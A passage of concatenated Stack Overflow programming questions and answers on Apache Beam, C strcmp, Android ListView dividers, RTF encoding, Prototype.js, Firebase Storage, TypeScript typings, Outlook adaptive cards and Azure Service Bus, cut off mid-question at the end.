"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: BeamSql tramsformation issues I have my below code in which I'm reading a csv file and defining its schema, after that I'm converting it into BeamRecords. and then applying BeamSql to implement PTransforms.
Code:
class Clo {
public String Outlet;
public String CatLib;
public String ProdKey;
public Date Week;
public String SalesComponent;
public String DuetoValue;
public String PrimaryCausalKey;
public Float CausalValue;
public Integer ModelIteration;
public Integer Published;
}
public static void main(String[] args) {
PipelineOptions options = PipelineOptionsFactory.create();
Pipeline p = Pipeline.create(options);
PCollection<java.lang.String> lines= p.apply(TextIO.read().from("gs://gcpbucket/input/WeeklyDueto.csv"));
PCollection<Clorox> pojos = lines.apply(ParDo.of(new ExtractObjectsFn()));
List<java.lang.String> fieldNames = Arrays.asList("Outlet", "CatLib", "ProdKey", "Week", "SalesComponent", "DuetoValue", "PrimaryCausalKey", "CausalValue", "ModelIteration", "Published");
List<java.lang.Integer> fieldTypes = Arrays.asList(Types.VARCHAR, Types.VARCHAR, Types.VARCHAR, Types.DATE, Types.VARCHAR,Types.VARCHAR,Types.VARCHAR, Types.FLOAT, Types.INTEGER, Types.INTEGER);
BeamRecordSqlType appType = BeamRecordSqlType.create(fieldNames, fieldTypes);
PCollection<BeamRecord> apps = pojos.apply(
ParDo.of(new DoFn<Clo, BeamRecord>() {
@ProcessElement
public void processElement(ProcessContext c) {
BeamRecord br = new BeamRecord(
appType,
c.element().Outlet,
c.element().CatLib,
c.element().ProdKey,
c.element().Week,
c.element().SalesComponent,
c.element().DuetoValue,
c.element().PrimaryCausalKey,
c.element().CausalValue,
c.element().ModelIteration,
c.element().Published
);
c.output(br);
}
})).setCoder(appType, getRecordCoder());
PCollection<BeamRecord> out = apps.apply(BeamSql.query("select Outlet from PCOLLECTION"));
out.apply("WriteMyFile", TextIO.write().to("gs://gcpbucket/output/sbc.txt"));
}
My questions are:
*
*what shall I implement in ExtractObjectsFn() so that the records gets converted into BeamRecords ?
*How to write the final output to a csv file ?
I have implemented ExtractObjectsFn() as :
public void processElement(ProcessContext c) {
ArrayList<Clo> clx = new ArrayList<Clo>();
java.lang.String[] strArr = c.element().split("\n");
for(int i = 0; i < strArr.length; i++) {
Clo clo = new Clo();
java.lang.String[] temp = strArr[i].split(",");
clo.setCatLib(temp[1]);
clo.setCausalValue(temp[7]);
clo.setDuetoValue(temp[5]);
clo.setModelIteration(temp[8]);
clo.setOutlet(temp[0]);
clo.setPrimaryCausalKey(temp[6]);
clo.setProdKey(temp[2]);
clo.setPublished(temp[9]);
clo.setSalesComponent(temp[4]);
clo.setWeek(temp[3]);
c.output(clo);
clx.add(clo);
}
}
Let me know if its done correctly because while executing the code and getting error as No Coder has been manually specified; you may do so using .setCoder().
A:
1> what shall I implement in ExtractObjectsFn() so that the records gets converted into BeamRecords ?
In the processElement() method of ExtractObjectsFn, you simply need to convert a CSV line from the input (String) to a Clorox type. Split the string by the comma delimiter (,), which returns an array. Iterate over the array to retrieve the CSV values and construct the Clorox object.
2> How to write the final output to a csv file ?
Similar process as above. You simply need to apply a new transform that will convert a BeamRecord to a CSV line (String). Members of the BeamRecord can be concatenated into a string (CSV line). After this transform is applied, the TextIO.Write transform can be applied to write the CSV line to file.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/49171444",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: C language about input ouput with prinf function i exactly type yes but why can't i see output? #include<stdio.h>
int main(void)
{
char name[40];
scanf("%s",name);
if(name == "yes")
{
printf("%s",name);
}
return 0
}
A: You need to use strcmp for string comparison.
Replace
if(name == "yes")
With
if(strcmp(name,"yes") == 0)
strcmp returns
*
*
0 if both strings are identical (equal)
*
Negative value if the ASCII value of first unmatched character is less than second.
*
Positive value if the
ASCII value of first unmatched character is greater than second.
A: == isn't defined for string (or any other array) comparisons - you need to use the standard library function strcmp to compare strings:
if ( strcmp( name, "yes" ) == 0 )
or
if ( !strcmp( name, "yes") )
strcmp is a little non-intuitive in that it returns 0 if the string contents are equal, so the sense of the test will feel wrong. It will return a negative value if the first string is lexicographically less than the second, and a positive value if the first string is lexicographically greater than the second.
You'll need to #include <string.h> in order to use strcmp.
For comparing arrays that aren't strings, use memcmp.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/53103571",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-2"
} |
Q: ListView Dividers and Non-Clickable Items All,
I would like to show a divider in a list and want to make the item not clickable but not look grayed out. I tried setting my xml layout to not clickable and not enabled when i inflated it but it did not work. below is my code.
private static final String[] items = { "lorem", "ipsum", "dolor", "sit",
"amet", "consectetuer", "adipiscing", "elit", "morbi", "vel",
"ligula", "vitae", "arcu", "aliquet", "mollis", "etiam", "vel",
"erat", "placerat", "ante", "porttitor", "sodales", "pellentesque",
"augue", "purus","Afghanistan", "Albania",
"Algeria", "American Samoa", "Andorra", "Angola", "Anguilla",
"Antarctica", "Antigua and Barbuda", "Argentina", "Armenia",
"Aruba", "Australia", "Austria", "Azerbaijan", "Bahrain",
"Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin",
"Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegovina",
"Botswana", "Bouvet Island", "Brazil",
"British Indian Ocean Territory", "British Virgin Islands",
"Brunei", "Bulgaria", "Burkina Faso", "Burundi", "Cote d'Ivoire",
"Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands",
"Central African Republic", "Chad", "Chile", "China",
"Christmas Island", "Cocos (Keeling) Islands", "Colombia",
"Comoros", "Congo", "Cook Islands", "Costa Rica", "Croatia",
"Cuba", "Cyprus", "Czech Republic",
"Democratic Republic of the Congo", "Denmark", "Djibouti",
"Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt",
"El Salvador", "Equatorial Guinea", "Eritrea", "Estonia",
"Ethiopia", "Faeroe Islands", "Falkland Islands", "Fiji",
"Finland", "Former Yugoslav Republic of Macedonia", "France",
"French Guiana", "French Polynesia", "French Southern Territories",
"Gabon", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece",
"Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala",
"Guinea", "Guinea-Bissau", "Guyana", "Haiti",
"Heard Island and McDonald Islands", "Honduras", "Hong Kong",
"Hungary", "Iceland", "India", "Indonesia", "Iran", "Iraq",
"Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan",
"Kazakhstan", "Kenya", "Kiribati", "Kuwait", "Kyrgyzstan", "Laos",
"Latvia", "Lebanon", "Lesotho", "Liberia", "Libya",
"Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Madagascar",
"Malawi", "Malaysia", "Maldives", "Mali", "Malta",
"Marshall Islands", "Martinique", "Mauritania", "Mauritius",
"Mayotte", "Mexico", "Micronesia", "Moldova", "Monaco", "Mongolia",
"Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia",
"Nauru", "Nepal", "Netherlands", "Netherlands Antilles",
"New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria",
"Niue", "Norfolk Island", "North Korea", "Northern Marianas",
"Norway", "Oman", "Pakistan", "Palau", "Panama",
"Papua New Guinea", "Paraguay", "Peru", "Philippines",
"Pitcairn Islands", "Poland", "Portugal", "Puerto Rico", "Qatar",
"Reunion", "Romania", "Russia", "Rwanda", "Sqo Tome and Principe",
"Saint Helena", "Saint Kitts and Nevis", "Saint Lucia",
"Saint Pierre and Miquelon", "Saint Vincent and the Grenadines",
"Samoa", "San Marino", "Saudi Arabia", "Senegal", "Seychelles",
"Sierra Leone", "Singapore", "Slovakia", "Slovenia",
"Solomon Islands", "Somalia", "South Africa",
"South Georgia and the South Sandwich Islands", "South Korea",
"Spain", "Sri Lanka", "Sudan", "Suriname",
"Svalbard and Jan Mayen", "Swaziland", "Sweden", "Switzerland",
"Syria", "Taiwan", "Tajikistan", "Tanzania", "Thailand",
"The Bahamas", "The Gambia", "Togo", "Tokelau", "Tonga",
"Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan",
"Turks and Caicos Islands", "Tuvalu", "Virgin Islands", "Uganda",
"Ukraine", "United Arab Emirates", "United Kingdom",
"United States", "United States Minor Outlying Islands", "Uruguay",
"Uzbekistan", "Vanuatu", "Vatican City", "Venezuela", "Vietnam",
"Wallis and Futuna", "Western Sahara", "Yemen", "Yugoslavia",
"Zambia", "Zimbabwe" };
TextView selection;
ListView list;
MyCustomAdapter mAdapter;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
selection = (TextView) findViewById(R.id.textView1);
list = (ListView) findViewById(R.id.listView1);
mAdapter = new MyCustomAdapter();
for (int i = 0; i < items.length; i++) {
mAdapter.addItem(items[i]);
if ((i+1) % 4 == 0) {
mAdapter.addSeparatorItem("separator " + (i+1));
}
}
list.setAdapter(mAdapter);
list.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,
long arg3) {
int type;
type = mAdapter.getItemViewType(arg2);
if (type == 0){
selection.setText("item");
}
if (type == 1){
selection.setText("divider");
}
}
});
}
class MyCustomAdapter extends BaseAdapter{
private static final int TYPE_ITEM =0;
private static final int TYPE_SEPARATOR = 1;
private static final int TYPE_MAX_COUNT = TYPE_SEPARATOR + 1;
private ArrayList<String> mData = new ArrayList<String>();
private LayoutInflater mInflater;
private TreeSet<Integer> mSeparatorsSet = new TreeSet<Integer>();
public MyCustomAdapter() {
mInflater = (LayoutInflater)getSystemService(Context.LAYOUT_INFLATER_SERVICE);
}
public void addItem(final String item) {
mData.add(item);
notifyDataSetChanged();
}
public void addSeparatorItem(final String item) {
mData.add(item);
// save separator position
mSeparatorsSet.add(mData.size() - 1);
notifyDataSetChanged();
}
@Override
public int getItemViewType(int position) {
return mSeparatorsSet.contains(position) ? TYPE_SEPARATOR : TYPE_ITEM;
}
@Override
public int getViewTypeCount() {
return TYPE_MAX_COUNT;
}
@Override
public int getCount() {
return mData.size();
}
@Override
public String getItem(int position) {
return mData.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
ViewHolder holder = null;
int type = getItemViewType(position);
System.out.println("getView " + position + " " + convertView + " type = " + type);
if (convertView == null){
holder = new ViewHolder();
switch (type) {
case TYPE_ITEM:
convertView = mInflater.inflate(R.layout.row, null);
holder.textView = (TextView) convertView.findViewById(R.id.label);
break;
case TYPE_SEPARATOR:
convertView = mInflater.inflate(R.layout.item2, null);
holder.textView = (TextView)convertView.findViewById(R.id.textSeparator);
holder.layout = (LinearLayout) convertView.findViewById(R.id.layout);
holder.layout.setEnabled(false);
holder.textView.setEnabled(false);
break;
}
convertView.setTag(holder);
}else{
holder = (ViewHolder) convertView.getTag();
}
holder.textView.setText(mData.get(position));
return convertView;
}
}
public static class ViewHolder {
public TextView textView;
public LinearLayout layout;
}
}
Any help would be appreciated.
Thx
I believe I found my answer. What I mean by not working was that the divider was clickable. What I had to do was override in my adapter the allItemsEnabled method to return false and create a condition in the isEnabled method to return false for dividers. Here is the adapter code rewritten.
public MyCustomAdapter() {
mInflater = (LayoutInflater)getSystemService(Context.LAYOUT_INFLATER_SERVICE);
}
public void addItem(final String item) {
mData.add(item);
notifyDataSetChanged();
}
public void addSeparatorItem(final String item) {
mData.add(item);
// save separator position
mSeparatorsSet.add(mData.size() - 1);
notifyDataSetChanged();
}
//to make dividers not clickable
@Override
public boolean areAllItemsEnabled() {
return false;
}
//to make dividers not clickable
@Override
public boolean isEnabled(int position) {
int type = getItemViewType(position);
if(type==0){
return true;
}
return false;
}
@Override
public int getItemViewType(int position) {
return mSeparatorsSet.contains(position) ? TYPE_SEPARATOR : TYPE_ITEM;
}
@Override
public int getViewTypeCount() {
return TYPE_MAX_COUNT;
}
@Override
public int getCount() {
return mData.size();
}
@Override
public String getItem(int position) {
return mData.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
ViewHolder holder = null;
int type = getItemViewType(position);
System.out.println("getView " + position + " " + convertView + " type = " + type);
if (convertView == null){
holder = new ViewHolder();
switch (type) {
case TYPE_ITEM:
convertView = mInflater.inflate(R.layout.row, null);
holder.textView = (TextView) convertView.findViewById(R.id.label);
break;
case TYPE_SEPARATOR:
convertView = mInflater.inflate(R.layout.item2, null);
holder.textView = (TextView)convertView.findViewById(R.id.textSeparator);
holder.layout = (LinearLayout) convertView.findViewById(R.id.layout);
// holder.layout.setEnabled(false);
//holder.textView.setEnabled(false);
break;
}
convertView.setTag(holder);
}else{
holder = (ViewHolder) convertView.getTag();
}
holder.textView.setText(mData.get(position));
return convertView;
}
}
public static class ViewHolder {
public TextView textView;
public LinearLayout layout;
}
}
A: I found the answer myself. What I mean by not working was that the divider was clickable. What I had to do was to override in my adapter the areAllItemsEnabled method to return false and create a condition in the isEnabled method (see the second half of the original question).
A: I think the issue you are having is related to the ClickListener you are adding, since you are are putting in the XML that wont be clickable but after you set your ContentView you are putting this line:
list.setOnItemClickListener(new OnItemClickListener() { ... }
wich makes the list clickable.
A: Redering to my answer of another post, you just have to set the OnClickListener on the View that shouldn't be clickable to null. So you would call: view.setOnClickListener(null). Of course you need the reference to the view to do this...
| {
"language": "en",
"url": "https://stackoverflow.com/questions/9913677",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: SQL Server 2005 - Calculate Average Open and Click Rate of Subscribers I want to calculate the average open and click rate of each email contact, since Feb 1 to now.
I know I could build out a query to populate the number of email sends per contact, and then another table for number of unique opens and then divide those numbers, but is there an easier way?
My final table will have subscriberkey, average open rate, average click rate.
I am using Salesforce Marketing Cloud.
Thanks!
A: Do you have Salesforce CRM and Marketing Cloud Connect? If so, You could use Salesforce data extensions, and pass click and open data at the individual level or aggregate level.
This way you could create easy-to-use reporting in Salesforce without having to write queries.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/51542027",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Specify utf-8 character encoding in RTF? The text (in UTF-8) format is correctly shown in Sqlite How can I set the character encoding in RTF of characters that are in the UTF-8 character encoding format?
I studied similar questions, but did not fiund a good solution. So, I hope you can help.
The content is in a Sqlite database. The text in a Slqite database can only be formatted using UTF-8, UTF-16 or similar. So that's why I have to stick to UTF-8.
The e" is shown correctly using a Sqlite database browser.
The required target program, which can only read RTF, displays the characters in a strange way.
I tried for example:
{\rtf1\ansi\ansicpg0\uc0...
{\rtf1\ansi\ansicpg1252\uc0...
{\rtf1\ansi\ansicpg65001\uc0...
An option is by mapping the special characters to their RTF-char equivalences, as shown in this table.
A: The site you mentioned links to Unicode in RTF:
If the character is between 255 and 32,768, express it as \uc1\unumber*. For example, , character number 21,487, is \uc1\u21487* in RTF.
If the character is between 32,768 and 65,535, subtract 65,536 from it, and use the resulting negative number. For example, is character 36,947, so we subtract 65,536 to get -28,589 and we have \uc1\u-28589* in RTF.
If the character is over 65,535, then we can’t express it in RTF
Looks like RTF doesn't know UTF-8 at all, only Unicode in general. Other answers for Java and C# just use the \u directly.
A: I read in many places that RTF doesn't have a UTF-8 standard solution.
So, I created my own converter after scanning half the internet. If you have a standard/better solution, please let me know!
So after studying this book and I created a converter based on these character mappings. Great resources.
This solved my question. Re-using other solutions is what I would like to do for this kind of features, but I was not able to find one, alas.
The converter could be something like:
public static String convertHtmlToRtf(String html) {
String tmp = html.replaceAll("\\R", " ")
.replaceAll("\\\\", "\\\\\\\\")
.replaceAll("\\{", "\\\\{")
.replaceAll("}", "\\\\}");
tmp = tmp.replaceAll("<a\\s+target=\"_blank\"\\s+href=[\"']([^\"']+?)[\"']\\s*>([^<]+?)</a>",
"{\\\\field{\\\\*\\\\fldinst HYPERLINK \"$1\"}{\\\\fldrslt \\\\plain \\\\f2\\\\b\\\\fs20\\\\cf2 $2}}");
tmp = tmp.replaceAll("<a\\s+href=[\"']([^\"']+?)[\"']\\s*>([^<]+?)</a>",
"{\\\\field{\\\\*\\\\fldinst HYPERLINK \"$1\"}{\\\\fldrslt \\\\plain \\\\f2\\\\b\\\\fs20\\\\cf2 $2}}");
tmp = tmp.replaceAll("<h3>", "\\\\line{\\\\b\\\\fs30{");
tmp = tmp.replaceAll("</h3>", "}}\\\\line\\\\line ");
tmp = tmp.replaceAll("<b>", "{\\\\b{");
tmp = tmp.replaceAll("</b>", "}}");
tmp = tmp.replaceAll("<strong>", "{\\\\b{");
tmp = tmp.replaceAll("</strong>", "}}");
tmp = tmp.replaceAll("<i>", "{\\\\i{");
tmp = tmp.replaceAll("</i>", "}}");
tmp = tmp.replaceAll("&", "&");
tmp = tmp.replaceAll(""", "\"");
tmp = tmp.replaceAll("©", "{\\\\'a9}");
tmp = tmp.replaceAll("<", "<");
tmp = tmp.replaceAll(">", ">");
tmp = tmp.replaceAll("<br/?><br/?>", "{\\\\pard \\\\par}\\\\line ");
tmp = tmp.replaceAll("<br/?>", "\\\\line ");
tmp = tmp.replaceAll("<BR>", "\\\\line ");
tmp = tmp.replaceAll("<p[^>]*?>", "{\\\\pard ");
tmp = tmp.replaceAll("</p>", " \\\\par}\\\\line ");
tmp = convertSpecialCharsToRtfCodes(tmp);
return "{\\rtf1\\ansi\\ansicpg0\\uc0\\deff0\\deflang0\\deflangfe0\\fs20{\\fonttbl{\\f0\\fnil Tahoma;}{\\f1\\fnil Tahoma;}{\\f2\\fnil\\fcharset0 Tahoma;}}{\\colortbl;\\red0\\green0\\blue0;\\red0\\green0\\blue255;\\red0\\green255\\blue0;\\red255\\green0\\blue0;}" + tmp + "}";
}
private static String convertSpecialCharsToRtfCodes(String input) {
char[] chars = input.toCharArray();
StringBuffer sb = new StringBuffer();
int length = chars.length;
for (int i = 0; i < length; i++) {
switch (chars[i]) {
case '’':
sb.append("{\\'92}");
break;
case '`':
sb.append("{\\'60}");
break;
case '€':
sb.append("{\\'80}");
break;
case '…':
sb.append("{\\'85}");
break;
case '‘':
sb.append("{\\'91}");
break;
case '̕':
sb.append("{\\'92}");
break;
case '“':
sb.append("{\\'93}");
break;
case '”':
sb.append("{\\'94}");
break;
case '•':
sb.append("{\\'95}");
break;
case '–':
case '‒':
sb.append("{\\'96}");
break;
case '—':
sb.append("{\\'97}");
break;
case '©':
sb.append("{\\'a9}");
break;
case '«':
sb.append("{\\'ab}");
break;
case '±':
sb.append("{\\'b1}");
break;
case '„':
sb.append("\"");
break;
case '´':
sb.append("{\\'b4}");
break;
case '¸':
sb.append("{\\'b8}");
break;
case '»':
sb.append("{\\'bb}");
break;
case '½':
sb.append("{\\'bd}");
break;
case 'Ä':
sb.append("{\\'c4}");
break;
case 'È':
sb.append("{\\'c8}");
break;
case 'É':
sb.append("{\\'c9}");
break;
case 'Ë':
sb.append("{\\'cb}");
break;
case 'Ï':
sb.append("{\\'cf}");
break;
case 'Í':
sb.append("{\\'cd}");
break;
case 'Ó':
sb.append("{\\'d3}");
break;
case 'Ö':
sb.append("{\\'d6}");
break;
case 'Ü':
sb.append("{\\'dc}");
break;
case 'Ú':
sb.append("{\\'da}");
break;
case 'ß':
case 'β':
sb.append("{\\'df}");
break;
case 'à':
sb.append("{\\'e0}");
break;
case 'á':
sb.append("{\\'e1}");
break;
case 'ä':
sb.append("{\\'e4}");
break;
case 'è':
sb.append("{\\'e8}");
break;
case 'é':
sb.append("{\\'e9}");
break;
case 'ê':
sb.append("{\\'ea}");
break;
case 'ë':
sb.append("{\\'eb}");
break;
case 'ï':
sb.append("{\\'ef}");
break;
case 'í':
sb.append("{\\'ed}");
break;
case 'ò':
sb.append("{\\'f2}");
break;
case 'ó':
sb.append("{\\'f3}");
break;
case 'ö':
sb.append("{\\'f6}");
break;
case 'ú':
sb.append("{\\'fa}");
break;
case 'ü':
sb.append("{\\'fc}");
break;
default:
if( chars[i] != ' ' && isSpaceChar( chars[i])) {
System.out.print( ".");
//sb.append("{\\~}");
sb.append(" ");
} else if( chars[i] == 8218) {
System.out.println("Strange comma ... ");
sb.append(",");
} else if( chars[i] > 132) {
System.err.println( "Special code that is not translated in RTF: '" + chars[i] + "', nummer=" + (int) chars[i]);
sb.append(chars[i]);
} else {
sb.append(chars[i]);
}
}
}
return sb.toString();
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/66275158",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Why can't i use prototype DOM methods on uninserted nodes in ie? The goal here is to manipulate some DOM nodes before they are inserted into the document, using prototypeJs methods.
Test cases:
<html>
<head>
<script type="text/javascript" src="prototype.js" ></script>
</head>
<body>
<script type="text/javascript">
var elt = document.createElement("DIV");
elt.id="root";
elt.innerHTML="<div id='stuff'><span id='junk'></span></div>";
console.info(elt);
console.info(Element.down(elt, "#stuff"));
console.info(Element.select(elt, "#stuff"));
console.info(elt.down("#stuff"));
console.info(elt.select("#stuff"));
Element.extend(elt);
console.info(elt.down("#stuff"));
console.info(elt.select("#stuff"));
document.body.appendChild(elt);
console.info($("root").down("#stuff"));
console.info($("root").select("#stuff"));
</script>
</body>
</html>
In Firefox all 8 tests correctly output either the "stuff" div or a collection containing only the "stuff" div.
In ie (tested in 7/8) I would expect the second two tests only to fail as prototype does not automatically extend the DOM as in ff. However what actually happens is all the tests up to the point the element is inserted fail the two subsequent tests are fine. Once I call Element.extend if would expect the down / select methods to be available.
If this behaviour as expected and if so why?
How would you recommend I do my DOM traversal on nodes which are in memory in a cross browser friendly manner?
So thanks to Kaze no Koe, I've narrowed the issue down. It seems that this does work in ie but not for id selectors.
<html>
<head>
<script type="text/javascript" src="prototype.js" ></script>
</head>
<body>
<script type="text/javascript">
var elt = document.createElement("DIV");
elt.id="root";
elt.innerHTML="<div id='stuff' class='junk'></div>";
elt = $(elt);
console.info(elt.down("DIV")); //fine
console.info(elt.down(".junk")); //fine
console.info(elt.down("#stuff")); //undefined in ie, fine in ff
</script>
</body>
</html>
It's not a problem for me to use class instead of id, so I can solve my original issue but for completeness sake can anyone explain why id selectors won't work before insertion in ie only? My guess would be that the ie implementation relies on document.getElementById whilst the ff one doesn't. Anyone confirm?
A: Instead of:
Element.extend(elt);
Try:
elt = Element.extend(elt);
or
elt = $(elt);
As for how to do the traversing before you've inserted the node, here's some random examples that illustrate a few features of Prototype:
var elt = new Element('div', {
className: 'someClass'
});
elt.insert(new Element('ul'));
var listitems = ['one', 'two', 'three'];
listitems.each(function(item){
var elm = new Element('li');
elm.innerHTML = item;
elt.down('ul').insert(elm);
});
elt.getElementsBySelector('li'); //=> returns all LIs
elt.down('li'); //=> returns first li
elt.down('ul').down('li'); //=> also returns first li
elt.down('ul').down('li', 2); //=> should return the third if I'm not mistaken
// all before inserting it into the document!
Check the brand new API documentation.
Answering Ollie: my code above can be tested here, as you can see it works under IE 6.
A: I don't think it is possible to select nodes that are not in the document, because the selector depends on the document node.
And you should build new elements this way :
var elt = new Element("div");
| {
"language": "en",
"url": "https://stackoverflow.com/questions/1706552",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to download file from firebase storage and turn it into .stl file with react? I am trying to download a file I stored on firebase storage and then turn it into an stl file to be later used by ThreeJs.
Currently I am trying to use the following code but it results in a file with 0 size:
const [blobData, setBlobData] = useState([]);
const storageRef = storageReference(
storage,
'/storage/testModel.stl',
)
if (blobData.length < 1) {
getBlob(storageRef).then((data) => {setBlobData(data)});
var testFile = new File([blobData], "testFile.stl");
}
console.log("Outside Loop",testFile);
What the log outside the loop logs is the following:
Is there a better way to do this or can I use this code with changes?
A: I was using the STLLoader from react three fiber and it turnes out you can give the URL from firebase storage directly to this loader.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/73027006",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Is there any limit on number of Listeners(subscription client) of a Subscription created under a topic in Azure Service Bus(pub-sub)? I am looking on using Azure Service Bus topic to publish some messages to my service. I have creted a subscription for my service and have got connection string.
My service(WebApi) is running on large number of instances (1000s). I am thinking of starting the listeners of Azure Service Bus at app start of my service using connection string in all the instances. Are there any issues in running large number of listeners(my service instances) under one Azure Service Bus subscription. I am fine with only one instance receiving the message(This is infact what I prefer).
A: You can checkout all limits wrt Azure Service Bus from here:
https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quotas
| {
"language": "en",
"url": "https://stackoverflow.com/questions/63564953",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Why is typescript trying to load the wrong type definitions? When I try to run typescript on my project I get the following:
# ./node_modules/typescript/bin/tsc --project tsconfig.json
node_modules/@types/webpack/index.d.ts:32:3 - error TS2305: Module '"../../tapable/tapable"' has no exported member 'Tapable'.
32 Tapable,
~~~~~~~
node_modules/@types/webpack/index.d.ts:1062:23 - error TS2707: Generic type 'SyncWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.
1062 resolver: SyncWaterfallHook;
~~~~~~~~~~~~~~~~~
node_modules/@types/webpack/index.d.ts:1063:22 - error TS2707: Generic type 'SyncWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.
1063 factory: SyncWaterfallHook;
~~~~~~~~~~~~~~~~~
node_modules/@types/webpack/index.d.ts:1064:28 - error TS2707: Generic type 'AsyncSeriesWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.
1064 beforeResolve: AsyncSeriesWaterfallHook;
~~~~~~~~~~~~~~~~~~~~~~~~
... and so on. 89 errors.
The first line of output suggests it's reading types from ./node_modules/tapable/tapable.d.ts. This types file does not export Tapable; and it exports other types such as AsyncSeriesWaterfallHook with type parameters. So all of this is consistent with the error message.
There's also a file ./node_modules/@types/tapable/index.ts. This does export Tapable. I haven't gone through al the errors, but from the examples I've checked it seems that this types file has exports with the same names but different type parameters, which are consistent with what is declared by webpack.
In other words, the npm module tapable has two conflicting type definition files: one inside its own module and one in the @types/tapable module. Webpack seems to be built for the @types one, but it's trying to validate against the other one.
The package.json for webpack (version 5.24.4) has "tapable": "^2.1.1". tapable has "version": "2.1.1". So they should match.
What's going on? How do I make this compile?
A: I had the same problem in a firebase-functions project. I fixed it by giving the tsconfig.json the property "skipLibCheck" with value true.
See more at https://lifesaver.codes/answer/node-modules-tapable-tapable-has-no-exported-member-tapable-12185
| {
"language": "en",
"url": "https://stackoverflow.com/questions/66808198",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Input Value Substitution Outlook Actionable Messages not passing value So I am using this in Microsoft Flow to generate an actionable email in Outlook.
The card itself works properly and displays properly in Outlook. The problem is the input value substitution for the Action.Http.
It is literally passing "{{newVendorNames.value}}", "{{newVendorDocs.value}}" and "{{existingVendorAction.value}}" instead of the values I enter into the adaptive card. The values are all strings.
Specific line is "body": "{\"newVendorNames\":\"{{newVendorNames.value}}\",\"newVendorDocs\":\"{{newVendorDocs.value}}\",\"existingVendorAction\":\"{{existingVendorAction.value}}\"}"
Did I miss something? Is this a bug?
{
"type": "AdaptiveCard",
"originator":"ORIGINATOR ID",
"body": [
{
"type": "TextBlock",
"size": "medium",
"weight": "bolder",
"text": "Month End Close - Response"
},
{
"type": "TextBlock",
"text": "In order to complete our month-end close, please go through any sections that apply for the current month.",
"wrap": true
}
],
"actions": [
{
"type": "Action.ShowCard",
"title": "New Vendor",
"card": {
"type": "AdaptiveCard",
"body": [
{
"type": "TextBlock",
"text": "Complete this section **only if** a new vendor or vendors began work in the current month.",
"wrap": true,
"color": "attention",
"size": "medium"
},
{
"type": "Input.Text",
"id": "newVendorNames",
"placeholder": "Enter the names of the vendors that began work in the current month.",
"isMultiline": true
},
{
"type": "Input.Toggle",
"title": "I have an invoice/SOW/Contract,etc.",
"id": "newVendorDocs",
"valueOn": "Yes",
"valueOff": "No"
}
]
}
},
{
"type": "Action.ShowCard",
"title": "Existing Vendors",
"card": {
"type": "AdaptiveCard",
"body": [
{
"type": "TextBlock",
"text": "Complete this section **only if** an existing vendor has performed services in the current month.",
"wrap": true,
"color": "attention",
"size": "medium"
},
{
"type": "TextBlock",
"text": "Have all invoices, for work performed in the current month, been submitted to AP?",
"wrap": true
},
{
"type": "Input.ChoiceSet",
"choices": [
{
"title": "Yes all invoices have been submitted.",
"value": "No"
},
{
"title": "No they have not been submitted and I have a copy of the invoice(s).",
"value": "Obtain invoices."
},
{
"title": "No they have not been submitted, I do not have a copy but I can estimate the cost.",
"value": "Dept owner can estimate accrual."
},
{
"title": "No they have not been submitted, I do not have a copy and I cannot estimate the cost.",
"value": "Dept owner cannot estimate accrual."
}
],
"id": "existingVendorAction",
"style": "expanded"
}
]
}
},
{
"type": "Action.Http",
"title": "Submit Response",
"method": "POST",
"headers": [
{
"name": "Authorization",
"value": ""
},
{
"name": "Content-Type",
"value": "application/json"
}
],
"url": "https://logic.azure.com:443/DELETED",
"isPrimary": true,
"body": "{\"newVendorNames\":\"{{newVendorNames.value}}\",\"newVendorDocs\":\"{{newVendorDocs.value}}\",\"existingVendorAction\":\"{{existingVendorAction.value}}\"}"
}
],
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
"version": "1.0"
}
A: Try this JSON:
"body": "{\n\"newVendorNames\": \"{{newVendorNames.value}}\",\n\"newVendorDocs\": \"{{newVendorDocs.value}}\",\n\"existingVendorAction\": \"{{existingVendorAction.value}}\"\n}"
You forgot the \n
| {
"language": "en",
"url": "https://stackoverflow.com/questions/66397183",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Unable to import 'rxjs' into angular 5 application I am trying to import
